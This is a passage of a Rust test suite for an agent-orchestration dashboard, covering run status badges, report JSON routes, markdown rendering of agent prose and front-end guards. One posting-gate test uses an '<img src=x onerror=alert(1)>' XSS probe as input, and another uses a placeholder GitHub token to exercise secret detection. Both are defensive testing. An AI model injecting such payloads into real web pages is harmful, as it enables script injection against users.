19534            None,
19535        );
19536        assert_eq!(detail.badge_status, "superseded");
19537        let json = serde_json::to_value(&detail).unwrap();
19538        assert_eq!(json["badge_status"], "superseded");
19539        let detail = RunDetailView::of(state, false, Dead, None, None, None);
19540        assert_eq!(detail.badge_status, "stale");
19541    }
19542
19543    #[tokio::test]
19544    async fn run_display_status_routes_share_the_open_question_store() {
19545        let f = Fixture::start().await;
19546        let id = "20260922-090200-abcd";
19547        write_run(&f.runs(), id, RunStatus::Judging);
19548        let mut state = read_run(&f.runs(), id).unwrap();
19549        state.parked = true;
19550        state.driver_exited = true;
19551        state.event("github-text", "waiting for the owner");
19552        state.save_under(f.home.path()).unwrap();
19553        let mut task = Task::new(
19554            "resumed task".to_owned(),
19555            "do it".to_owned(),
19556            PathBuf::from("/repo"),
19557            Source::Human,
19558        );
19559        task.runs = vec![id.to_owned(), id.to_owned()];
19560        f.queue().put(&mut task).unwrap();
19561        let store = f.questions();
19562        let mut q = Question::new(
19563            id.to_owned(),
19564            "github-text".to_owned(),
19565            "owner".to_owned(),
19566            "Approve the text?".to_owned(),
19567            String::new(),
19568            Vec::new(),
19569        );
19570        store.put(&mut q).unwrap();
19571        for expected in ["waiting", "parked"] {
19572            let list = f.get("/api/runs").await.json();
19573            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19574            assert_eq!(list[0]["display_status"], expected);
19575            assert_eq!(detail["display_status"], expected);
19576            assert_eq!(detail["waiting"], list[0]["waiting"]);
19577            assert_eq!(list[0]["badge_status"], expected);
19578            assert_eq!(detail["badge_status"], expected);
19579            assert!(list[0]["superseded_by"].is_null());
19580            assert!(detail["superseded_by"].is_null());
19581            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19582            let history = task_detail["history"].as_array().unwrap();
19583            assert_eq!(history.len(), 2);
19584            assert!(history[0]["badge"].is_null());
19585            assert_eq!(history[1]["badge"], expected);
19586            q.status = ask::QuestionStatus::Answered;
19587            store.put(&mut q).unwrap();
19588        }
19589    }
19590
19591    #[tokio::test]
19592    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19593        let f = Fixture::start().await;
19594        let id = "20260922-090200-abcd";
19595        write_run(&f.runs(), id, RunStatus::Judging);
19596        let mut state = read_run(&f.runs(), id).unwrap();
19597        state.parked = true;
19598        state.driver_exited = true;
19599        state.event("park", "stopped at a node boundary");
19600        state.save_under(f.home.path()).unwrap();
19601
19602        for expected in ["parked", "stale"] {
19603            let list = f.get("/api/runs").await.json();
19604            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19605            assert_eq!(list[0]["live"], "dead");
19606            assert_eq!(list[0]["display_status"], expected);
19607            assert_eq!(detail["display_status"], expected);
19608            // Model a driver claim followed by a crash before the next event:
19609            // the persisted flag changes, but the last event is still park.
19610            state.parked = false;
19611            state.save_under(f.home.path()).unwrap();
19612        }
19613    }
19614
19615    #[tokio::test]
19616    async fn the_run_list_is_newest_first_and_honours_a_limit() {
19617        let f = Fixture::start().await;
19618        for id in [
19619            "20260902-140501-aaaa",
19620            "20260902-140502-bbbb",
19621            "20260902-140503-cccc",
19622        ] {
19623            write_run(&f.runs(), id, RunStatus::Merged);
19624        }
19625
19626        let all = f.get("/api/runs").await.json();
19627        let capped = f.get("/api/runs?limit=2").await.json();
19628
19629        assert_eq!(all[0]["id"], "20260902-140503-cccc");
19630        assert_eq!(all.as_array().map(Vec::len), Some(3));
19631        assert_eq!(capped.as_array().map(Vec::len), Some(2));
19632        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
19633    }
19634
19635    #[tokio::test]
19636    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
19637        let f = Fixture::start().await;
19638        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
19639
19640        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
19641
19642        assert_eq!(res.status, 200);
19643        assert!(
19644            res.headers
19645                .contains("content-type: text/plain; charset=utf-8"),
19646            "a browser must render it, not download it: {}",
19647            res.headers
19648        );
19649        // The assertion is on content, not on the absence of escapes: colour
19650        // is a process-global that `serve` turns off at startup, and another
19651        // test in this binary may own it while this one runs.
19652        assert!(
19653            res.body.contains("20260902-140501-a1b2"),
19654            "the report is about the run that was asked for: {}",
19655            res.body
19656        );
19657    }
19658
19659    #[tokio::test]
19660    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
19661        // The view names the run's state directory, which reads the process-global home.
19662        crate::run::pin_test_home();
19663        let f = Fixture::start().await;
19664        let id = "20260902-140501-a1b2";
19665        write_run(&f.runs(), id, RunStatus::Stalled);
19666        // A stalled panel and one review round, written through the real
19667        // state file so the route reads what a run really leaves behind.
19668        let path = f.runs().join(id).join("run.json");
19669        let mut v: serde_json::Value =
19670            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19671        v["tally"] = serde_json::json!({
19672            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19673            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
19674            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
19675            "met_quorum": false, "rankings": 1
19676        });
19677        v["reviews"] = serde_json::json!([{
19678            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
19679            "e2e_deferred": true,
19680            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
19681                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
19682            ]}]
19683        }]);
19684        std::fs::write(&path, v.to_string()).unwrap();
19685        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
19686        std::fs::write(
19687            f.runs().join("20260902-140502-dead").join("run.json"),
19688            "{not json",
19689        )
19690        .unwrap();
19691
19692        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19693
19694        assert_eq!(res.status, 200, "{}", res.body);
19695        assert!(res.headers.contains("content-type: application/json"));
19696        let j = res.json();
19697        assert_eq!(j["schema"], 1);
19698        assert_eq!(j["header"]["id"], id);
19699        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19700        let kinds: Vec<&str> = j["sections"]
19701            .as_array()
19702            .unwrap()
19703            .iter()
19704            .map(|s| s["kind"].as_str().unwrap())
19705            .collect();
19706        assert_eq!(kinds, ["candidates", "tally", "review"]);
19707        let tally = &j["sections"][1]["tally"];
19708        assert_eq!(
19709            (tally["decided"].clone(), tally["provisional"].clone()),
19710            (false.into(), true.into())
19711        );
19712        let round = &j["sections"][2]["rounds"][0];
19713        assert_eq!(round["e2e"]["state"], "deferred");
19714        assert_eq!(round["findings"][0]["severity"], "major");
19715        assert_eq!(round["findings"][0]["blocking"], true);
19716        assert_eq!(round["findings"][0]["state"], "open");
19717
19718        // The raw route keeps working beside it.
19719        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19720
19721        // An unreadable run is an error, as on the text route, and is counted.
19722        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19723        assert_ne!(bad.status, 200, "{}", bad.body);
19724        assert_eq!(
19725            bad.status,
19726            f.get("/api/runs/20260902-140502-dead/report").await.status
19727        );
19728        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19729        assert_eq!(
19730            f.get("/api/runs/20260902-999999-ffff/report.json")
19731                .await
19732                .status,
19733            404
19734        );
19735    }
19736
19737    #[tokio::test]
19738    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19739        crate::run::pin_test_home();
19740        let f = Fixture::start().await;
19741        let id = "20260902-140503-delib";
19742        write_run(&f.runs(), id, RunStatus::Merged);
19743        let path = f.runs().join(id).join("run.json");
19744        let mut v: serde_json::Value =
19745            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19746        v["judgements"] = serde_json::json!([
19747            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19748        ]);
19749        v["tally"] = serde_json::json!({
19750            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19751            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19752            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19753            "met_quorum": true, "rankings": 1
19754        });
19755        v["deliberation"] = serde_json::json!([
19756            {
19757                "round": 1,
19758                "turns": [
19759                    {
19760                        "judge": 1,
19761                        "agent": "judge-1",
19762                        "body": "I prefer candidate **A** because it has cleaner tests.",
19763                        "tentative": "A"
19764                    }
19765                ]
19766            },
19767            {
19768                "round": 2,
19769                "turns": [
19770                    {
19771                        "judge": 1,
19772                        "agent": "judge-1",
19773                        "body": "Still thinking, no choice yet.",
19774                        "tentative": null
19775                    }
19776                ]
19777            }
19778        ]);
19779        std::fs::write(&path, v.to_string()).unwrap();
19780
19781        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19782        assert_eq!(res.status, 200, "{}", res.body);
19783        let j = res.json();
19784        let judging = j["sections"]
19785            .as_array()
19786            .unwrap()
19787            .iter()
19788            .find(|s| s["kind"] == "judging")
19789            .expect("judging section exists");
19790
19791        // Existing summary lines remain intact
19792        let delib_lines = judging["deliberation"].as_array().unwrap();
19793        assert_eq!(delib_lines.len(), 2);
19794        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19795        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19796
19797        // rounds carry turn bodies, tentative and parsed body_md
19798        let rounds = judging["rounds"].as_array().unwrap();
19799        assert_eq!(rounds.len(), 2);
19800        let r1_t0 = &rounds[0]["turns"][0];
19801        assert_eq!(r1_t0["judge"], 1);
19802        assert_eq!(r1_t0["agent"], "judge-1");
19803        assert_eq!(r1_t0["tentative"], "A");
19804        assert_eq!(
19805            r1_t0["body"],
19806            "I prefer candidate **A** because it has cleaner tests."
19807        );
19808        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19809
19810        let r2_t0 = &rounds[1]["turns"][0];
19811        assert_eq!(r2_t0["judge"], 1);
19812        assert_eq!(r2_t0["agent"], "judge-1");
19813        assert!(r2_t0["tentative"].is_null());
19814        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19815        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19816
19817        // A run with empty deliberation array yields empty rounds
19818        let id_empty = "20260902-140504-nodelib";
19819        write_run(&f.runs(), id_empty, RunStatus::Merged);
19820        let path_empty = f.runs().join(id_empty).join("run.json");
19821        let mut v_empty: serde_json::Value =
19822            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19823        v_empty["judgements"] = serde_json::json!([
19824            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19825        ]);
19826        v_empty["deliberation"] = serde_json::json!([]);
19827        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19828
19829        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19830        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19831        let j_empty = res_empty.json();
19832        let judging_empty = j_empty["sections"]
19833            .as_array()
19834            .unwrap()
19835            .iter()
19836            .find(|s| s["kind"] == "judging")
19837            .expect("judging section exists");
19838        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19839    }
19840
19841    #[tokio::test]
19842    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19843        let f = Fixture::start().await;
19844
19845        let html = f.get("/").await;
19846        let css = f.get("/app.css").await;
19847        let js = f.get("/app.js").await;
19848
19849        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19850        assert!(
19851            html.headers
19852                .contains("content-type: text/html; charset=utf-8")
19853        );
19854        assert!(css.headers.contains("content-type: text/css"));
19855        assert!(js.headers.contains("content-type: text/javascript"));
19856        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19857    }
19858
19859    #[test]
19860    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19861        let body = |name: &str| {
19862            let at = APP_JS
19863                .find(name)
19864                .unwrap_or_else(|| panic!("{name} missing"));
19865            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19866        };
19867        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19868        let note = body("function landRoundNote");
19869        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19870        assert!(note.contains("Land round ${round}"));
19871        let land = body("function renderLand");
19872        let note_at = land
19873            .find("landRoundNote(pr)")
19874            .expect("renderLand uses the note");
19875        assert!(
19876            note_at
19877                < land
19878                    .find("roundRail(pr)")
19879                    .expect("renderLand uses the rail")
19880        );
19881    }
19882
19883    #[test]
19884    fn the_runs_page_redesign_keeps_its_guards() {
19885        let body = |name: &str| {
19886            let at = APP_JS
19887                .find(name)
19888                .unwrap_or_else(|| panic!("{name} missing"));
19889            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19890        };
19891        // A null child must never reach the native append (it prints "null").
19892        let land = body("function renderLand");
19893        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19894        assert!(
19895            !land.contains("box.append("),
19896            "renderLand must use append()"
19897        );
19898        assert!(land.contains("append(box, ["));
19899        // Tabs are hash routes; the run id alone decides a reload.
19900        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19901        assert!(
19902            body("function applyRoute")
19903                .contains("route.name !== state.route.name || route.id !== state.route.id")
19904        );
19905        // The decorative diagram is gone, the strip and its guards stay.
19906        assert!(!APP_JS.contains("adviseConvergeDiagram"));
19907        assert!(!INDEX_HTML.contains("advise-converge"));
19908        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19909        assert!(APP_JS.contains("provisional"));
19910        for id in [
19911            "run-tab-overview",
19912            "run-tab-timeline",
19913            "run-tab-report",
19914            "run-report",
19915            "runs-scope",
19916        ] {
19917            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19918        }
19919        assert!(!INDEX_HTML.contains("runs-tree"));
19920        assert!(!INDEX_HTML.contains("run-raw-panel"));
19921        // Fold still says it cannot be resumed.
19922        assert!(APP_JS.contains("resume"));
19923        // The unreadable-runs count stays on the page.
19924        assert!(APP_JS.contains("unreadable"));
19925    }
19926
19927    #[test]
19928    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19929        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19930        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19931        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
19932        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19933        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19934        // The subtitle still counts them whatever the banner does.
19935        assert!(APP_JS.contains("unreadable` : null"));
19936    }
19937
19938    #[test]
19939    fn blocked_run_detail_exposes_the_failed_gate_reason() {
19940        let mut state = RunState::new(
19941            "/repo".into(),
19942            "main".into(),
19943            "abc".into(),
19944            "task".into(),
19945            crate::config::Config::default(),
19946        );
19947        state.status = RunStatus::Blocked;
19948        state.gate_ran = true;
19949        state.gate.push(crate::run::CommandOutcome {
19950            command: "cargo make check".into(),
19951            code: Some(1),
19952            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19953            duration_ms: 0,
19954            resource_blocked: false,
19955        });
19956        let view = RunDetailView::of(
19957            state,
19958            false,
19959            crate::run::Liveness::Unknown,
19960            None,
19961            None,
19962            None,
19963        );
19964        let value = serde_json::to_value(view).unwrap();
19965        assert_eq!(
19966            value["stop_reason"],
19967            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19968        );
19969    }
19970
19971    #[test]
19972    fn the_run_detail_payload_says_whether_the_run_is_done() {
19973        // `landView` reads `run.done`; the detail response must carry it.
19974        for (status, done) in [
19975            (RunStatus::Superseded, true),
19976            (RunStatus::Blocked, true),
19977            (RunStatus::Landing, false),
19978        ] {
19979            let mut state = RunState::new(
19980                std::path::PathBuf::from("/repo"),
19981                "main".to_owned(),
19982                "abc".to_owned(),
19983                "x".to_owned(),
19984                crate::config::Config::default(),
19985            );
19986            state.status = status;
19987            let v = serde_json::to_value(RunDetailView::of(
19988                state,
19989                false,
19990                crate::run::Liveness::Unknown,
19991                None,
19992                None,
19993                None,
19994            ))
19995            .unwrap();
19996            assert_eq!(v["done"], done, "{status:?}");
19997        }
19998    }
19999
20000    /// The first node of a markdown block holds a `strong` somewhere.
20001    fn has_strong(nodes: &[md::Node]) -> bool {
20002        serde_json::to_string(nodes).unwrap().contains("strong")
20003    }
20004
20005    #[test]
20006    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
20007        let mut state = RunState::new(
20008            std::path::PathBuf::from("/repo"),
20009            "main".to_owned(),
20010            "abc".to_owned(),
20011            "x".to_owned(),
20012            crate::config::Config::default(),
20013        );
20014        let proposal = |approach: &str| {
20015            serde_json::json!({
20016                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
20017            })
20018        };
20019        state.advice = Some(
20020            serde_json::from_value(serde_json::json!({
20021                "records": [
20022                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
20023                     "proposal": proposal("do **this**")},
20024                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
20025                ],
20026                "synthesis": "- one\n- **two**\n\n`code`",
20027            }))
20028            .unwrap(),
20029        );
20030        state.candidates = serde_json::from_value(serde_json::json!([
20031            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
20032             "summary": "did **it**"},
20033            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
20034        ]))
20035        .unwrap();
20036        // Recorded in ascending severity, the reverse of how the page sorts
20037        // them: the arrays must follow the record, not the display.
20038        state.reviews = serde_json::from_value(serde_json::json!([{
20039            "round": 1, "head": "h",
20040            "reviews": [{
20041                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
20042                "findings": [
20043                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
20044                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
20045                ],
20046            }],
20047            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
20048            "fix": {"agent": "a", "notes": "fixed **it**",
20049                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
20050        }, {"round": 2, "head": "h2", "reviews": []}]))
20051        .unwrap();
20052
20053        let v = serde_json::to_value(RunDetailView::of(
20054            state,
20055            false,
20056            crate::run::Liveness::Unknown,
20057            None,
20058            None,
20059            None,
20060        ))
20061        .unwrap();
20062
20063        let strong = |p: &str| {
20064            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
20065            assert!(n.to_string().contains("strong"), "{p}: {n}");
20066        };
20067        strong("/advice_md/synthesis");
20068        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
20069        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
20070        strong("/advice_md/approaches/0");
20071        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
20072        strong("/candidate_summaries_md/0");
20073        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
20074        strong("/reviews_md/0/reviewers/0/summary");
20075        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
20076        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
20077        assert!(f[1].to_string().contains("strong"));
20078        strong("/reviews_md/0/reconsideration/0");
20079        strong("/reviews_md/0/fix/notes");
20080        strong("/reviews_md/0/fix/rejected/0");
20081        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
20082        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
20083        // The raw strings stay, and no schema moved.
20084        assert_eq!(v["candidates"][0]["summary"], "did **it**");
20085        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
20086    }
20087
20088    #[test]
20089    fn a_run_without_advice_has_no_advice_md() {
20090        let state = RunState::new(
20091            std::path::PathBuf::from("/repo"),
20092            "main".to_owned(),
20093            "abc".to_owned(),
20094            "x".to_owned(),
20095            crate::config::Config::default(),
20096        );
20097        let p = run_prose_md(&state);
20098        assert!(p.advice_md.is_none());
20099        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
20100    }
20101
20102    #[test]
20103    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
20104        let store = ask::Questions::at(PathBuf::from("unused"));
20105        let gt = crate::github_text::Withheld {
20106            title: false,
20107            body: true,
20108            categories: vec!["sensitive-data".into()],
20109        };
20110        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
20111        let (detail, comparison) =
20112            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
20113        let mut q = Question::new(
20114            "r".into(),
20115            "github-text".into(),
20116            "posting-gate".into(),
20117            "s".into(),
20118            detail,
20119            Vec::new(),
20120        );
20121        assert!(
20122            QuestionView::of(q.clone(), &store, None)
20123                .posting_view
20124                .is_none()
20125        );
20126        q.posting_comparison = Some(comparison);
20127        let view = QuestionView::of(q.clone(), &store, None);
20128        let field = &view.posting_view.unwrap().fields[0];
20129        assert_eq!(
20130            field
20131                .original
20132                .iter()
20133                .map(|f| f.text.as_str())
20134                .collect::<String>(),
20135            body
20136        );
20137        assert!(field.original[0].text.starts_with("<img"));
20138        let original_question: Question =
20139            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
20140        assert_eq!(original_question, q);
20141        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
20142            .original
20143            .start = 1;
20144        assert!(
20145            QuestionView::of(q.clone(), &store, None)
20146                .posting_view
20147                .is_none()
20148        );
20149        q.posting_comparison = original_question.posting_comparison;
20150        q.detail.push_str("extra context");
20151        assert!(
20152            QuestionView::of(q.clone(), &store, None)
20153                .posting_view
20154                .is_some()
20155        );
20156        q.detail.insert(0, 'x');
20157        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
20158    }
20159
20160    #[test]
20161    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
20162        let store = ask::Questions::at(PathBuf::from("unused"));
20163        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
20164        let gt = crate::github_text::Withheld::from_check(
20165            &crate::github_text::check("fix: x", body),
20166            "fix: x",
20167            body,
20168        )
20169        .unwrap();
20170        let (detail, comparison) =
20171            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
20172        let mut q = Question::new(
20173            "r".into(),
20174            "github-text".into(),
20175            "posting-gate".into(),
20176            "s".into(),
20177            detail,
20178            Vec::new(),
20179        );
20180        q.posting_comparison = Some(comparison);
20181        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
20182        let field = &value["posting_view"]["fields"][0];
20183        let group = &field["replacement_group"];
20184        let triggers = group["triggers"].as_array().unwrap();
20185        assert_eq!(triggers.len(), 2);
20186        assert_ne!(triggers[0], triggers[1]);
20187        for id in triggers {
20188            assert!(
20189                field["original"]
20190                    .as_array()
20191                    .unwrap()
20192                    .iter()
20193                    .any(|f| &f["pair"] == id)
20194            );
20195            assert!(
20196                !field["changed"]
20197                    .as_array()
20198                    .unwrap()
20199                    .iter()
20200                    .any(|f| &f["pair"] == id)
20201            );
20202        }
20203        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
20204            group["id"].as_u64().unwrap() as usize;
20205        assert!(
20206            QuestionView::of(q, &store, None).posting_view.is_none(),
20207            "group and trigger IDs cannot collide"
20208        );
20209    }
20210
20211    #[test]
20212    fn a_question_view_carries_markdown_for_each_thread_turn() {
20213        let home = TempDir::new().unwrap();
20214        let store = ask::Questions::at(home.path().join("questions"));
20215        let mut q = Question::new(
20216            "run".to_owned(),
20217            "implement".to_owned(),
20218            "impl-A".to_owned(),
20219            "which?".to_owned(),
20220            String::new(),
20221            Vec::new(),
20222        );
20223        q.say("plain words").unwrap();
20224        q.reply("use **this**", Vec::new()).unwrap();
20225        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20226        let bodies = &v["thread_bodies_md"];
20227        assert_eq!(bodies.as_array().unwrap().len(), 2);
20228        assert!(!bodies[0].to_string().contains("strong"));
20229        assert!(bodies[1].to_string().contains("strong"));
20230    }
20231
20232    #[test]
20233    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
20234        let home = TempDir::new().unwrap();
20235        let store = ask::Questions::at(home.path().join("questions"));
20236        let mut q = Question::new(
20237            "run".to_owned(),
20238            "conduct".to_owned(),
20239            "conduct".to_owned(),
20240            "which?".to_owned(),
20241            String::new(),
20242            Vec::new(),
20243        );
20244        q.say("plain words").unwrap();
20245        q.thread.push(ask::Turn {
20246            who: ask::Who::Agent,
20247            body: "Settled as `merge`".to_owned(),
20248            at: jiff::Timestamp::now(),
20249            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
20250        });
20251        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20252        let notes = &v["thread_notes_md"];
20253        assert_eq!(notes.as_array().unwrap().len(), 2);
20254        assert!(notes[0].is_null());
20255        let text = notes[1].to_string();
20256        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
20257        assert!(APP_JS.contains("ask-turn-note"));
20258    }
20259
20260    #[test]
20261    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
20262        // The land panel defers to `run.status` for merged, and labels a
20263        // recorded-open PR on any finished run (superseded, blocked, ...) as
20264        // last seen, never as live state.
20265        assert!(APP_JS.contains("function landView(run, raw) {"));
20266        assert!(
20267            APP_JS.contains(
20268                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
20269            )
20270        );
20271        assert!(APP_JS.contains("const pr = landView(run, raw);"));
20272        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
20273        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
20274        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
20275    }
20276
20277    #[test]
20278    fn live_runs_are_never_hidden_or_folded_as_superseded() {
20279        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
20280        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
20281        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
20282        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
20283    }
20284
20285    #[test]
20286    fn review_rounds_label_a_distinct_verified_head() {
20287        assert!(APP_JS.contains("round.verified_head"));
20288        assert!(APP_JS.contains("verified HEAD"));
20289        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
20290    }
20291
20292    #[test]
20293    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
20294        // A blocked task's chip and note must not fall back to a queued-like
20295        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
20296        // itself by e11fc58 but never checked here.
20297        assert!(APP_JS.contains("blocked: { glyph:"));
20298        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
20299
20300        // `blocked_by` mixes task ids and question ids in the same list, and
20301        // the client can only tell them apart by checking each id against
20302        // what it actually knows - never by guessing from the id's shape.
20303        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
20304        assert!(
20305            APP_JS.contains(
20306                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
20307            ),
20308            "the note line must name what a blocked task is waiting on, not just that it is blocked"
20309        );
20310        // The classification must key off `status_str`, never off `blocked_by`
20311        // or `block_reason` merely being present - both can survive briefly
20312        // on a task a hold or a dead daemon just moved off `blocked`.
20313        assert!(APP_JS.contains("if (status === \"blocked\") {"));
20314
20315        // A question a task is blocked on gets its own node in the same
20316        // dependency graph, not just a task-shaped node with nothing known
20317        // about it.
20318        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
20319        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
20320        assert!(
20321            APP_JS.contains("location.hash = \"#/questions\";"),
20322            "a question node must jump to the Questions screen, not pretend to be a task"
20323        );
20324
20325        // `Task::answers` - decisions already made - are shown as a record on
20326        // the card, the same disclosure style as the full instruction.
20327        assert!(APP_JS.contains("Resolved questions"));
20328        assert!(APP_JS.contains("r.answersList.append("));
20329        assert!(APP_CSS.contains(".task-answers"));
20330        {
20331            let start = APP_JS
20332                .find("function updateTalkTaskRow")
20333                .expect("updateTalkTaskRow");
20334            let body = &APP_JS[start..];
20335            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
20336            assert!(
20337                body.contains(
20338                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
20339                ),
20340                "a chat-filed task row must link to the task page"
20341            );
20342            assert!(
20343                !body.contains("#/runs/") && !body.contains("#/queue/"),
20344                "the row must not branch to a run or the queue card"
20345            );
20346            assert!(APP_CSS.contains(".talk-task-link"));
20347        }
20348    }
20349
20350    #[test]
20351    fn a_task_notification_links_to_the_task_page() {
20352        // A task notice opens the task detail page, not the Backlog card.
20353        let start = APP_JS
20354            .find("function noticeLink(")
20355            .expect("noticeLink exists");
20356        let body = &APP_JS[start..];
20357        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
20358        assert!(
20359            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
20360            "a task notice's link must target the task page"
20361        );
20362        assert!(
20363            !body.contains("#/queue/"),
20364            "regression: the task link must not go back to the Backlog route"
20365        );
20366        assert!(
20367            APP_JS.contains(
20368                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20369            ),
20370            "`#/tasks/<id>` must parse into the task route"
20371        );
20372
